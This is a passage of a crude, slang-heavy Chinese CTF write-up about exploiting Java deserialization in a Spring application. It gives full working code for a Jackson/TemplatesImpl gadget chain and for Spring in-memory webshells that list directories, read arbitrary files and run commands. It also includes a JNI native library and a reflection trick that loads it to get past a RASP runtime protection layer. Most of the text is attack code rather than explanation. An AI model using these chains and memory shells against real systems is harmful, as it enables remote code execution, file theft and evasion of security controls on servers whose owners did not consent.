javax.xml.transform.Templates 接口其只有 newTransformergetOutputProperties 这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods 获取到的方法就只有 newTransformergetOutputProperties 了,那么最终获得的 getter 方法便只有 getOutputProperties 了。

因此只需要挂代理,就只会获取接口方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args) {

Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{Templates.class}, new MyHandler());
for(Method m: myProxy.getClass().getDeclaredMethods()) {
System.out.println(m.getName());
}
}
}

interface TestInterface1 {
public void say();
}

interface TestInterface2 {
public void test();
}

class TestProxy {

public void eat() {
System.out.println("eat something");
}
public void say() {
System.out.println("say something");
}
public String getName(String a) {
return a;
}
}

class MyHandler implements InvocationHandler {

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke dynamic proxy handler");
return null;
}
}

微信截图_20231106082615

这两个方法是 Templates 里面定义的接口方法

JdkDynamicAopProxy 是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。

微信截图_20231105215128

这里能够控制 advised

微信截图_20231105215235

这里会触发反射方法,这里 advised 前面说过了可控

我们将所需的 TemplatesImpl 的对象用 org.springframework.aop.framework.AdvisedSupport 封装即可

1
2
3
4
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;

微信截图_20231105215851

微信截图_20231105220106

构造

1
2
3
4
5
6
7
8
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);

👴の最後のエクスプロイト

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;


public class exp {
public static void main(String[] args)throws Exception{
// ClassPool classPool = ClassPool.getDefault();
// CtClass ctClass = classPool.get(evilref.class.getName());

// CtClass superClass = classPool.get(AbstractTranslet.class.getName());
// ctClass.setSuperclass(superClass);
//
// CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
//
// ctClass.addConstructor(constructor);


//byte[][] codes = new byte[][]{code};
TemplatesImpl templates = new TemplatesImpl();

ref(templates, "_bytecodes", new byte[][]{});
ref(templates, "_name", "shanghe");
ref(templates, "_tfactory", new TransformerFactoryImpl());

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

serialize_func.serialize(exp);
WriteToFileExample(serialize_func.encryptToBase64("ser.bin"));














}

public static void WriteToFileExample(String args) {
String content = "这是要写入文件的字符串内容";

try {
BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
writer.write(args);
writer.close();
System.out.println("字符串已成功写入文件。");
} catch (IOException e) {
System.out.println("写入文件时发生错误:" + e.getMessage());
}
}
public static void ref(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {

Field reffield = obj.getClass().getDeclaredField(field);
reffield.setAccessible(true);
reffield.set(obj,value);

}
public static String serial(Object o) throws IOException, NoSuchFieldException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

内存🐎的使用🥵👴

捏麻麻滴,太复杂了,还要写个内存马找到 RASP, 还好👴技高一筹.

列目录

nm, 跟喝大了一样,整这 b 玩意,艹😡

首先来一个递归列出所有目录文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.http.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class exls extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static{
try{

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method readmethod = exls.class.getMethod("ls", HttpServletRequest.class,HttpServletResponse.class);

RequestMappingInfo info = RequestMappingInfo.paths("/ls").options(config).build();
exls readfile_inject = new exls();
mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);


}catch (Exception e){
e.printStackTrace();
}

}


public static void ls(HttpServletRequest request,HttpServletResponse response) throws IOException {
String rootDirectory = request.getParameter("dir"); // 替换为你的根目录路径
listFilesAndDirectories(new File(rootDirectory),response);
response.getWriter().flush();
}

public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException {
File[] files = directory.listFiles();

if (files != null) {
for (File file : files) {
if (file.isFile()) {
response.getWriter().write("File: " + file.getAbsolutePath());
} else if (file.isDirectory()) {
response.getWriter().write("Directory: " + file.getAbsolutePath());
listFilesAndDirectories(file,response); // 递归遍历子目录
}
}
}
}



}


这样的缺点是列出根目录的时候太多杂碎的东西,👴看不动,要不是👴知道 /home 下面有东西,这玩意太难找了.

优化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.http.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class exls extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static{
try{

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method readmethod = exls.class.getMethod("ls1", HttpServletRequest.class,HttpServletResponse.class);

RequestMappingInfo info = RequestMappingInfo.paths("/ls1").options(config).build();
exls readfile_inject = new exls();
mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);


}catch (Exception e){
e.printStackTrace();
}

}


public static void ls1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String rootDirectory = request.getParameter("dir"); // 替换为你的根目录路径
listFilesAndDirectories(new File(rootDirectory),response);
response.getWriter().flush();
}

public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException {
File[] files = directory.listFiles();

if (files != null) {
for (File file : files) {
if (file!=null) {
response.getWriter().write(file.getAbsolutePath()+"\r\n");
}
}
}
}



}


微信截图_20231106112020

这样看起来舒服多了,👴很中意😊

读文件

👴想尝试柏璐杯的代码,直接通过 ResponseEntity 下载文件,很可惜,失败了,但是涉及到二进制文件的读取,怎么办,👴用 base64 读出来,👴真 tm 是完美天才的 idol (bushi)

终于👴想明白了一件事,写出了内存🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.http.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class exre extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static{
try{

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method readmethod = exre.class.getMethod("readfile2", HttpServletRequest.class,HttpServletResponse.class);

RequestMappingInfo info = RequestMappingInfo.paths("/readfile2").options(config).build();
exre readfile_inject = new exre();
mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);


}catch (Exception e){
e.printStackTrace();
}

}

public void readfile2(HttpServletRequest request, HttpServletResponse response) throws IOException {

String filePath = request.getParameter("filepath");
if(filePath!=null){
FileInputStream fileInputStream = new FileInputStream(filePath);
byte[] fileBytes = new byte[fileInputStream.available()];
fileInputStream.read(fileBytes);
fileInputStream.close();
String base64String = Base64.getEncoder().encodeToString(fileBytes);
response.getWriter().write(base64String);
response.getWriter().flush();


}


}
}

什么,你说你不会 base64 转成二进制文件?🤣

自己写个脚本转换都行,👴告诉你,还能上 cyberchef 转换,还能导出为文件😅

RASP😅😡

绕过 content-length 就简单了?8 可能!

nmb 甚至有 RASP,√Ⅷ,👴没学过.

啥事 RASP

在 2012 年的时候,Gartner 引入了 Runtime application self-protection 一词,简称为 RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。

RASP 技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web 和非 Web 应用程序都可以通过 RASP 进行保护。该技术不会影响应用程序的设计,因为 RASP 的检测和保护功能是在应用程序运行的系统上运行的。

👴说人话:就是 nm 把内存过滤,实时动态防护。别人叫内存马,你叫内存盾.

至于这玩意,👴就不在这里赘述了,先等👴新开个文章,记录一下 RASP 的学习笔记.

👴回来了,到了最后的步骤了., 看👴绕过这该死的 RASP.

通过 java-agent 插桩技术,hook 住了一些底层的类,使得 java 的 exec 不能够执行

一般是 unix 或这 forkandexec

forkAndExec 通常是与操作系统进程管理相关的操作,用于在类 Unix 操作系统中(如 Linux)创建子进程并在子进程中执行指定的程序。

可恶的 RASP hook 住了这些类

微信截图_20231106112422

微信截图_20231106112531

甚至还不让本地 JNI 加载了, loadLibrary0 也被 hook 了

解决方案😒

底层的 native 方法 java.lang.ClassLoader.NativeLibrary#load 并未被 hook,并且反射也是可以正常使用的,所以可以尝试使用反射来调用 java.lang.ClassLoader.NativeLibrary 中的 load 方法来加载恶意 so 文件执行命令

船新姿势之 javah

可以,我就喜欢 h😊

javah 是 Java 开发工具包 (JDK) 提供的一个命令行工具,用于生成 Java 类的本地方法接口 (Native Method Interface, JNI) 头文件。JNI 允许 Java 代码与本地(通常是 C 或 C++)代码进行交互,这在某些情况下非常有用,例如与硬件交互或与现有的本地库进行集成。

编写包含本地方法声明的 Java 类,使用 native 关键字声明本地方法。

1
2
3
public class EvilClass  {
public static native String execCmd(String cmd);
}

然后使用 javac 编译成 class, 然后使用 javah 编译成 h 文件

1
2
javah -jni EvilClass

生成的 EvilClass.h 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */

#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

接下来还要根据这个 h 文件写 C 文件,nm👴不会 c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}

这里开启了一个缓冲区, popen 是 C 中执行命令时打开的一个管道,以只读模式打开。如果为空,则命令执行失败,返回.

同时 while 使用 feof 检测 pipe 状态,未结束就持续从 pipe 里面每次最大获取 128 个字节内容,放到缓冲区,然后将结果追加到 result 中.

随后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); // 获取 Java 字符串 jstr 的 UTF-8 编码
char result[1024 * 12] = ""; // 定义一个存放命令执行结果的字符数组

if (1 == execmd(cstr, result)) // 调用之前定义的 execmd 函数来执行系统命令
{
// 如果命令执行成功,你可以在这里进行一些处理,但代码中被注释掉了
}

char return_messge[100] = ""; // 定义一个存放返回消息的字符数组
strcat(return_messge, result); // 将命令执行结果追加到返回消息

jstring cmdresult = (*env)->NewStringUTF(env, return_messge); // 创建一个 Java 字符串,用于存储返回消息

return cmdresult; // 返回 Java 字符串,包含命令执行结果
}

JNI 规范

JNI 原型函数: JNI 规范定义了一组标准的 JNI 函数原型,如 GetStringUTFCharsReleaseStringUTFChars 等,以方便操作字符串、数组、引用等常见任务。

JNI 函数命名规范: JNI 函数的命名必须遵循特定的命名规范,通常是 Java 类名(用下划线替代点号)后跟 Java 方法名。例如,Java 类 com.example.MyClass 中的方法 myNativeFunction 对应的 JNI 函数应为 Java_com_example_MyClass_myNativeFunction

JNIEnv 指针: JNI 函数的第一个参数是一个 JNIEnv 指针,它是一个关于 JNI 环境的上下文。通过 JNIEnv ,JNI 函数可以访问 Java 虚拟机的各种功能,如对象创建、方法调用和异常处理。

数据类型转换: JNI 定义了各种数据类型的对应关系,以便 Java 和本地代码之间的数据传递。例如,Java 的 int 对应 JNI 的 jint ,Java 的 String 对应 JNI 的 jstring 等。JNI 函数允许在这些数据类型之间进行转换。

从参数上看:它接受三个参数: JNIEnv *env (JNI 环境指针)、 jclass class_object (表示 Java 类的类对象)、 jstring jstr (一个 Java 字符串)。

通过 (*env)->GetStringUTFChars 函数将 Java 字符串 jstr 转换为 C 字符串 cstr ,这是因为 execmd 函数需要接受 C 字符串作为参数。

中间执行命令,存储.

使用 (*env)->NewStringUTF 函数创建一个新的 Java 字符串 cmdresult ,用于存储返回消息。

将两部分放在一起,形成 c 文件,然后编译

编译:

1
2
gcc -FPIC -I /home/siroha/java8202/include -I /home/siroha/java8202/include/linux -shared -o libcmd.so ./EvilClass.c
base64 -w 0 libcmd.so > Evil.txt

写文件的操作

1
2
3
4
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();

最终写个 load 的内存🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;

public class EvilClass extends AbstractTranslet {
public static native String execCmd(String cmd);
private static final String EVIL_JNI_BASE64 = "";//👴就不放在这里了,太长了,自己生成
private static final String LIB_PATH = "/tmp/libcmd.so";

static {

try{
byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();


//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);

load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);

Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);

//写入内存马
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
EvilClass springControllerMemShell = new EvilClass();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);







}catch (Exception e){
e.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {

String cmd = request.getParameter("cmd");
if (cmd != null) {
String execRes = EvilClass.execCmd(cmd);
response.getWriter().write(execRes);
response.getWriter().flush();
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

NativeLibrary 包装到 Vector,Vector 是 ClassloadernativeLibraries 的值,

一般来说用

1
2
3
4
System.loadLibrary("cmd");
Command command = new Command();
String ipconfig = command.exec("ipconfig");
System.out.println(ipconfig);

题目 ban 了.

微信截图_20231106155628

芜湖,真√Ⅷ 爽,√Ⅷ 真爽,终出了.

捏麻麻地,👴花了几天时间,学了一堆东西.

怎么制作链子,怎么 python 发包,👴在前面已经分析过了。不用问了😅